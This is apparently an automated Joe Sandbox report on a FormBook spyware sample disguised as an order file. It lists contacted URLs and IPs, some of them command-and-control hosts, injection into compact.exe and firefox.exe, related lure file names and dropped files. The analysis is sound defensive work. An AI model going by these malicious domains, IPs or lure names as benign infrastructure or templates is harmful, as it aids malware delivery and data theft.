https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	compact.exe, 0000000A.00000002.4577934774.0000000007F58000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://i2.cdn-image.com/__media__/pics/28903/search.png)	compact.exe, 0000000A.00000002.4574298276.0000000004176000.00000004.10000000.00040000.00000000.sdmp, EUSOiCcoIEEJJ.exe, 0000000D.00000002.4571971139.0000000002F06000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://i2.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.woff2	compact.exe, 0000000A.00000002.4574298276.0000000004176000.00000004.10000000.00040000.00000000.sdmp, EUSOiCcoIEEJJ.exe, 0000000D.00000002.4571971139.0000000002F06000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://i2.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.otf	compact.exe, 0000000A.00000002.4574298276.0000000004176000.00000004.10000000.00040000.00000000.sdmp, EUSOiCcoIEEJJ.exe, 0000000D.00000002.4571971139.0000000002F06000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://epicbazaarhub.com/2769/?OdjTHtuX=rQ9MRvShllEvhf19NmQGPjdBfvwxqGfh/iQ/JyzvIKd3JVnhiEf6Ad8S1fm4	compact.exe, 0000000A.00000002.4574298276.000000000449A000.00000004.10000000.00040000.00000000.sdmp, EUSOiCcoIEEJJ.exe, 0000000D.00000002.4571971139.000000000322A000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.namecheap.com/domains/registration/results/?domain=easybackpage.net	compact.exe, 0000000A.00000002.4574298276.0000000004AE2000.00000004.10000000.00040000.00000000.sdmp, compact.exe, 0000000A.00000002.4577738363.0000000006460000.00000004.00000800.00020000.00000000.sdmp, EUSOiCcoIEEJJ.exe, 0000000D.00000002.4571971139.0000000003872000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://i2.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.otf	compact.exe, 0000000A.00000002.4574298276.0000000004176000.00000004.10000000.00040000.00000000.sdmp, EUSOiCcoIEEJJ.exe, 0000000D.00000002.4571971139.0000000002F06000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.mengistiebethlehem.com/Moravia.cfm?fp=rb9JssZzcqrxgVbtqj8jg7AT9cR7GfkC5tZbe1UYWx%2FFitbFc	compact.exe, 0000000A.00000002.4574298276.0000000004176000.00000004.10000000.00040000.00000000.sdmp, EUSOiCcoIEEJJ.exe, 0000000D.00000002.4571971139.0000000002F06000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	compact.exe, 0000000A.00000002.4577934774.0000000007F58000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.mengistiebethlehem.com/display.cfm	compact.exe, 0000000A.00000002.4574298276.0000000004176000.00000004.10000000.00040000.00000000.sdmp, compact.exe, 0000000A.00000002.4577738363.0000000006460000.00000004.00000800.00020000.00000000.sdmp, EUSOiCcoIEEJJ.exe, 0000000D.00000002.4571971139.0000000002F06000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://i2.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.eot	compact.exe, 0000000A.00000002.4574298276.0000000004176000.00000004.10000000.00040000.00000000.sdmp, EUSOiCcoIEEJJ.exe, 0000000D.00000002.4571971139.0000000002F06000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://i2.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.eot?#iefix	compact.exe, 0000000A.00000002.4574298276.0000000004176000.00000004.10000000.00040000.00000000.sdmp, EUSOiCcoIEEJJ.exe, 0000000D.00000002.4571971139.0000000002F06000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://hao7.vip	compact.exe, 0000000A.00000002.4574298276.0000000004308000.00000004.10000000.00040000.00000000.sdmp, EUSOiCcoIEEJJ.exe, 0000000D.00000002.4571971139.0000000003098000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe, 00000000.00000002.2120287530.0000000002953000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.mengistiebethlehem.com/Christmas_City_Studio.cfm?fp=rb9JssZzcqrxgVbtqj8jg7AT9cR7GfkC5tZbe	compact.exe, 0000000A.00000002.4574298276.0000000004176000.00000004.10000000.00040000.00000000.sdmp, EUSOiCcoIEEJJ.exe, 0000000D.00000002.4571971139.0000000002F06000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://delivery.consentmanager.net	compact.exe, 0000000A.00000002.4574298276.0000000004176000.00000004.10000000.00040000.00000000.sdmp, EUSOiCcoIEEJJ.exe, 0000000D.00000002.4571971139.0000000002F06000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.hostgator.com/	compact.exe, 0000000A.00000002.4574298276.0000000004176000.00000004.10000000.00040000.00000000.sdmp, EUSOiCcoIEEJJ.exe, 0000000D.00000002.4571971139.0000000002F06000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://i2.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.eot	compact.exe, 0000000A.00000002.4574298276.0000000004176000.00000004.10000000.00040000.00000000.sdmp, EUSOiCcoIEEJJ.exe, 0000000D.00000002.4571971139.0000000002F06000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://i2.cdn-image.com/__media__/pics/28905/arrrow.png)	compact.exe, 0000000A.00000002.4574298276.0000000004176000.00000004.10000000.00040000.00000000.sdmp, EUSOiCcoIEEJJ.exe, 0000000D.00000002.4571971139.0000000002F06000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.fondazionegtech.org/jmiz/?OdjTHtuX=FlIs%20r8zH5IdzVyrxFdSYjESHC6F8ED2JjV8fIhoTiEGriidwWK	firefox.exe, 0000000E.00000002.2790664074.00000000256C4000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	compact.exe, 0000000A.00000002.4577934774.0000000007F58000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	compact.exe, 0000000A.00000002.4577934774.0000000007F58000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://i2.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.svg#montserrat-regular	compact.exe, 0000000A.00000002.4574298276.0000000004176000.00000004.10000000.00040000.00000000.sdmp, EUSOiCcoIEEJJ.exe, 0000000D.00000002.4571971139.0000000002F06000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://3cubesinterior.in/n8zi/?Y6vp=3PLd8j&OdjTHtuX=TDN237cw9XQsPbq3g6hYHsVRIrTNU69YOKlE8puzfHXbytTX	compact.exe, 0000000A.00000002.4574298276.0000000004F98000.00000004.10000000.00040000.00000000.sdmp, EUSOiCcoIEEJJ.exe, 0000000D.00000002.4571971139.0000000003D28000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://i2.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.woff	compact.exe, 0000000A.00000002.4574298276.0000000004176000.00000004.10000000.00040000.00000000.sdmp, EUSOiCcoIEEJJ.exe, 0000000D.00000002.4571971139.0000000002F06000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.sedo.com/services/parking.php3	EUSOiCcoIEEJJ.exe, 0000000D.00000002.4571971139.0000000003872000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	compact.exe, 0000000A.00000002.4577934774.0000000007F58000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://i2.cdn-image.com/__media__/pics/29590/bg1.png)	compact.exe, 0000000A.00000002.4574298276.0000000004176000.00000004.10000000.00040000.00000000.sdmp, EUSOiCcoIEEJJ.exe, 0000000D.00000002.4571971139.0000000002F06000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.mengistiebethlehem.com/Lehigh_Valley.cfm?fp=rb9JssZzcqrxgVbtqj8jg7AT9cR7GfkC5tZbe1UYWx%2F	compact.exe, 0000000A.00000002.4574298276.0000000004176000.00000004.10000000.00040000.00000000.sdmp, compact.exe, 0000000A.00000002.4577738363.0000000006460000.00000004.00000800.00020000.00000000.sdmp, EUSOiCcoIEEJJ.exe, 0000000D.00000002.4571971139.0000000002F06000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.hondamechanic.today	EUSOiCcoIEEJJ.exe, 0000000D.00000002.4576370278.0000000004E30000.00000040.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://i2.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.ttf	compact.exe, 0000000A.00000002.4574298276.0000000004176000.00000004.10000000.00040000.00000000.sdmp, EUSOiCcoIEEJJ.exe, 0000000D.00000002.4571971139.0000000002F06000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://i2.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.ttf	compact.exe, 0000000A.00000002.4574298276.0000000004176000.00000004.10000000.00040000.00000000.sdmp, EUSOiCcoIEEJJ.exe, 0000000D.00000002.4571971139.0000000002F06000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://img.sedoparking.com/templates/images/hero_nc.svg	compact.exe, 0000000A.00000002.4574298276.0000000004AE2000.00000004.10000000.00040000.00000000.sdmp, compact.exe, 0000000A.00000002.4577738363.0000000006460000.00000004.00000800.00020000.00000000.sdmp, EUSOiCcoIEEJJ.exe, 0000000D.00000002.4571971139.0000000003872000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://i2.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.svg#montserrat-bold	compact.exe, 0000000A.00000002.4574298276.0000000004176000.00000004.10000000.00040000.00000000.sdmp, EUSOiCcoIEEJJ.exe, 0000000D.00000002.4571971139.0000000002F06000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://i2.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.woff	compact.exe, 0000000A.00000002.4574298276.0000000004176000.00000004.10000000.00040000.00000000.sdmp, EUSOiCcoIEEJJ.exe, 0000000D.00000002.4571971139.0000000002F06000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://i2.cdn-image.com/__media__/js/min.js?v2.3	compact.exe, 0000000A.00000002.4574298276.0000000004176000.00000004.10000000.00040000.00000000.sdmp, EUSOiCcoIEEJJ.exe, 0000000D.00000002.4571971139.0000000002F06000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	compact.exe, 0000000A.00000002.4577934774.0000000007F58000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://i2.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.eot?#iefix	compact.exe, 0000000A.00000002.4574298276.0000000004176000.00000004.10000000.00040000.00000000.sdmp, EUSOiCcoIEEJJ.exe, 0000000D.00000002.4571971139.0000000002F06000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.74.211	ghs.google.com	United States	15169	GOOGLEUS	false
144.208.124.10	superunicornpalace.com	United States	395092	SHOCK-1US	false
64.190.62.22	www.hondamechanic.today	United States	11696	NBS11696US	false
203.161.49.220	www.hellokong.xyz	Malaysia	45899	VNPT-AS-VNVNPTCorpVN	true
208.91.197.13	www.mengistiebethlehem.com	Virgin Islands (BRITISH)	40034	CONFLUENCE-NETWORK-INCVG	false
91.195.240.19	parkingpage.namecheap.com	Germany	47846	SEDO-ASDE	false
162.43.101.114	www.tedjp-x.com	United States	11333	CYBERTRAILSUS	false
217.160.0.84	www.architect-usschool.com	Germany	8560	ONEANDONE-ASBrauerstrasse48DE	false
89.31.76.10	sitestudio.it	Italy	24994	GENESYS-ASIT	false
188.114.96.3	www.ad14.fun	European Union	13335	CLOUDFLARENETUS	false
45.113.122.18	3cubesinterior.in	India	394695	PUBLIC-DOMAIN-REGISTRYUS	false
192.185.208.8	epicbazaarhub.com	United States	46606	UNIFIEDLAYER-AS-1US	false
121.254.178.230	www.rz6grmvv.shop	Korea Republic of	3786	LGDACOMLGDACOMCorporationKR	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1467083
Start date and time:	2024-07-03 17:54:53 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 23s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@10/7@15/13
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 93% Number of executed functions: 153 Number of non-executed functions: 307
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): client.wns.windows.com, fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target EUSOiCcoIEEJJ.exe, PID 2084 because it is empty
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe

Simulations

Behavior and APIs

Time	Type	Description
11:55:42	API Interceptor	1x Sleep call for process: Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe modified
11:55:44	API Interceptor	10x Sleep call for process: powershell.exe modified
11:56:58	API Interceptor	10192656x Sleep call for process: compact.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
144.208.124.10	spec 4008670601 AZTEK Order.exe	Get hash	malicious	FormBook	Browse	www.superunicornpalace.com/mwa4/
64.190.62.22	spec 4008670601 AZTEK Order.exe	Get hash	malicious	FormBook	Browse	www.hondamechanic.today/pv57/
	1R50C5E13BU8I.exe	Get hash	malicious	FormBook	Browse	www.turf-installer.top/huho/
	Navana Pharmaceuticals PLC.pdf.exe	Get hash	malicious	FormBook	Browse	www.hofiw.link/7ixz/
	ORDEN DE COMPRA URGENTEsxlx..exe	Get hash	malicious	FormBook	Browse	www.hondamechanic.today/expp/
	Transfer Swift USD 87000.exe	Get hash	malicious	FormBook	Browse	www.chefjob6.live/vpkv/
	unexpressiveness.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.woodsplitter1.xyz/9h33/
	BANCO SWIFTs#U0334x#U0334l#U0334x#U0334..exe	Get hash	malicious	FormBook	Browse	www.hondamechanic.today/expp/
	BANCO SWIFTs#U0334x#U0334l#U0334x#U0334..exe	Get hash	malicious	FormBook	Browse	www.hondamechanic.today/expp/
	Ballahoo.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.woodsplitter1.xyz/9h33/
	z26PEDIDODECOMPRAURGENTE___s___x___l___x____.exe	Get hash	malicious	FormBook	Browse	www.hondamechanic.today/expp/
203.161.49.220	spec 4008670601 AZTEK Order.exe	Get hash	malicious	FormBook	Browse	www.hellokong.xyz/oui5/
	RR1h1iO6W2.exe	Get hash	malicious	FormBook	Browse	www.hellokong.xyz/ov93/
	SOA 020724.exe	Get hash	malicious	FormBook	Browse	www.techsterverse.xyz/5ane/?3jJlx=WTbBFWOTcFPDCMhDe+eJlggkj0wA+TTy940HcquptONdD9QmK5HdLPKC5ymHK27F/BdIZvlTb7atmdZ+8u/HxzfaZ9sFDrl94fCLYBT2VvoaMEhAOTvuaALRdPfNkFFP06X4hxPxwuOU&Vn=Ydx4qJJ0n
	Fiyat ARH-4309745275.pdf240012048477374'dir.PO 13u40000876.exe	Get hash	malicious	FormBook	Browse	www.evertudy.xyz/csr7/
	Siparis. 000867000960 TAVSAN order_Optium A.s 03.07.2024.exe	Get hash	malicious	FormBook	Browse	www.evertudy.xyz/csr7/
	Inquiry No PJO-4010574.exe	Get hash	malicious	FormBook	Browse	www.techsterverse.xyz/5ane/?iHmHOtK=WTbBFWOTcFPDCMhESefslTJ6+GkUog7y940HcquptONdD9QmK5HdLPKC5ymHK27F/BdIZvlTb7atmdZ+8u/HwzLeEe0DEJwM8vfrVi/4VNBsPllMeibbLgY=&L480=nFsp
	indent PWS-020199.exe	Get hash	malicious	FormBook	Browse	www.hellokong.xyz/ov93/
	Fiyat ARH-4532817-PO 45328174563.exe	Get hash	malicious	FormBook	Browse	www.evertudy.xyz/csr7/
	Fiyat ARH-4532817-PO 45328174563.exe	Get hash	malicious	FormBook	Browse	www.evertudy.xyz/csr7/
	KALIANDRA SETYATAMA PO 1310098007.exe	Get hash	malicious	FormBook	Browse	www.evertudy.xyz/csr7/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
parkingpage.namecheap.com	spec 4008670601 AZTEK Order.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	03.07.2024-sipari#U015f UG01072410 -onka ve Tic a.s.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	Fiyat ARH-4309745275.pdf240012048477374'dir.PO 13u40000876.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	Siparis. 000867000960 TAVSAN order_Optium A.s 03.07.2024.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	Att00173994.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	disjR92Xrrnc3aZ.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	Attendance list.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	Att0027592.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	#U0130#U015eLEM #U00d6ZET#U0130_524057699-1034 nolu TICAR_pdf (2).exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	1R50C5E13BU8I.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
www.mengistiebethlehem.com	spec 4008670601 AZTEK Order.exe	Get hash	malicious	FormBook	Browse	208.91.197.13
www.hondamechanic.today	spec 4008670601 AZTEK Order.exe	Get hash	malicious	FormBook	Browse	64.190.62.22
	ORDEN DE COMPRA URGENTEsxlx..exe	Get hash	malicious	FormBook	Browse	64.190.62.22
	BANCO SWIFTs#U0334x#U0334l#U0334x#U0334..exe	Get hash	malicious	FormBook	Browse	64.190.62.22
	BANCO SWIFTs#U0334x#U0334l#U0334x#U0334..exe	Get hash	malicious	FormBook	Browse	64.190.62.22
	z26PEDIDODECOMPRAURGENTE___s___x___l___x____.exe	Get hash	malicious	FormBook	Browse	64.190.62.22
	ORDEN DE COMPRAs#U034fx#U034fl#U034fx#U034f..exe	Get hash	malicious	FormBook	Browse	64.190.62.22
	MUESTRA DE ORDEN DE COMPRA pdf.exe	Get hash	malicious	FormBook	Browse	64.190.62.22
	BANK DETAILS CORRECTIONS.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	64.190.62.22
www.architect-usschool.com	spec 4008670601 AZTEK Order.exe	Get hash	malicious	FormBook	Browse	217.160.0.84
	CATALOG LISTs#U180ex#U180el#U180ex#U180e..exe	Get hash	malicious	FormBook	Browse	217.160.0.84
	ADSFDGHJs#U034fx#U034fl#U034fx#U034f..exe	Get hash	malicious	FormBook	Browse	217.160.0.84
	reimainternatio.exe	Get hash	malicious	FormBook	Browse	217.160.0.84
www.rz6grmvv.shop	spec 4008670601 AZTEK Order.exe	Get hash	malicious	FormBook	Browse	121.254.178.230

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
NBS11696US	spec 4008670601 AZTEK Order.exe	Get hash	malicious	FormBook	Browse	64.190.62.22
	Bn0VHqJWSS.exe	Get hash	malicious	Unknown	Browse	64.190.63.222
	gZVfHNoTGQ.exe	Get hash	malicious	Unknown	Browse	64.190.63.222
	Bn0VHqJWSS.exe	Get hash	malicious	Unknown	Browse	64.190.63.222
	gZVfHNoTGQ.exe	Get hash	malicious	Unknown	Browse	64.190.63.222
	1R50C5E13BU8I.exe	Get hash	malicious	FormBook	Browse	64.190.62.22
	Reporte Comercial.pdf	Get hash	malicious	Unknown	Browse	64.190.63.136
	Navana Pharmaceuticals PLC.pdf.exe	Get hash	malicious	FormBook	Browse	64.190.62.22
	D8zldeBMpl.exe	Get hash	malicious	Njrat	Browse	64.190.63.222
	ORDEN DE COMPRA URGENTEsxlx..exe	Get hash	malicious	FormBook	Browse	64.190.62.22
SHOCK-1US	spec 4008670601 AZTEK Order.exe	Get hash	malicious	FormBook	Browse	144.208.124.10
	SHUYOU #U65b0#U6307#U4ee4 PO-2301010 03-07-2024.pdf.exe	Get hash	malicious	FormBook	Browse	208.123.119.169
	New PO for Project - 00775 00875 02195.exe	Get hash	malicious	Remcos	Browse	144.208.127.241
	app.pln.bin.dll	Get hash	malicious	Unknown	Browse	209.182.225.110
	app.pln.bin.dll	Get hash	malicious	Unknown	Browse	209.182.225.110
	app.exe	Get hash	malicious	Unknown	Browse	144.208.127.230
	nUswWbPPmT.ocx.dll	Get hash	malicious	Unknown	Browse	209.182.225.225
	nUswWbPPmT.ocx.dll	Get hash	malicious	Unknown	Browse	209.182.225.225
	Incident_Report_Harassment_by_Employee.doc	Get hash	malicious	Unknown	Browse	209.182.225.225
	out.exe	Get hash	malicious	Unknown	Browse	209.182.225.225
VNPT-AS-VNVNPTCorpVN	spec 4008670601 AZTEK Order.exe	Get hash	malicious	FormBook	Browse	203.161.49.220
	AWB NO. 077-57676135055.exe	Get hash	malicious	FormBook	Browse	203.161.50.127
	file.exe	Get hash	malicious	FormBook	Browse	203.161.43.228
	fisher man.exe	Get hash	malicious	FormBook	Browse	203.161.55.124
	GJRX21GBj3.exe	Get hash	malicious	FormBook	Browse	203.161.55.102
	MUdeeReQ5R.exe	Get hash	malicious	FormBook	Browse	203.161.43.228
	7RsDGpyOQk.exe	Get hash	malicious	FormBook	Browse	203.161.41.205
	RR1h1iO6W2.exe	Get hash	malicious	FormBook	Browse	203.161.49.220
	SOA 020724.exe	Get hash	malicious	FormBook	Browse	203.161.49.220
	RW-TS-Payment204_A3084_04893_D4084_Y5902_CE3018_S4081_W30981.exe	Get hash	malicious	PureLog Stealer, zgRAT	Browse	203.161.46.44
CONFLUENCE-NETWORK-INCVG	spec 4008670601 AZTEK Order.exe	Get hash	malicious	FormBook	Browse	208.91.197.13
	Fiyat ARH-4309745275.pdf240012048477374'dir.PO 13u40000876.exe	Get hash	malicious	FormBook	Browse	208.91.197.27
	Siparis. 000867000960 TAVSAN order_Optium A.s 03.07.2024.exe	Get hash	malicious	FormBook	Browse	208.91.197.27
	RSW6103D401005.exe	Get hash	malicious	FormBook	Browse	208.91.197.27
	http://pollyfill.io	Get hash	malicious	Unknown	Browse	208.91.196.253
	Attendance list.exe	Get hash	malicious	FormBook	Browse	208.91.197.27
	1R50C5E13BU8I.exe	Get hash	malicious	FormBook	Browse	208.91.197.27
	Fiyat ARH-4532817-PO 45328174563.exe	Get hash	malicious	FormBook	Browse	208.91.197.27
	Fiyat ARH-4532817-PO 45328174563.exe	Get hash	malicious	FormBook	Browse	208.91.197.27
	e98.dll	Get hash	malicious	Unknown	Browse	204.11.56.48

Process:	C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	true
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	1172
Entropy (8bit):	5.3550249375369265
Encrypted:	false
SSDEEP:	24:3OWSKco4KmZjKbmOIKod6emN1s4RPQoU99t7J0gt/NKIl9iagu:eWSU4xympjms4RIoU99tK8NDv
MD5:	F5C607E507119C024A8457EB53A4EACA
SHA1:	E12BA3AFFE22D4699D53BBBFB38281EB20C79523
SHA-256:	B5C5E419F4854F669A4DF47860787886BC46FAC9C6DC97E39A9F118E79F55AEF
SHA-512:	1FA5B1E2F4850B41ED89237D6A2A5FBB7A04101B21362F118D39A4C9891F00F605AA49651DD1B5B37CFA954BD7A08A53F00F7ECAE4966ADA2207AD2DF995B597
Malicious:	false
Reputation:	low
Preview:	@...e................................................@..........P................1]...E...........(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..4.....................@.[8]'.\........System.Data.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServicesH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.8..................1...L..U;V.<}........System.Numerics.<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\N77o9w1836

Process:	C:\Windows\SysWOW64\compact.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................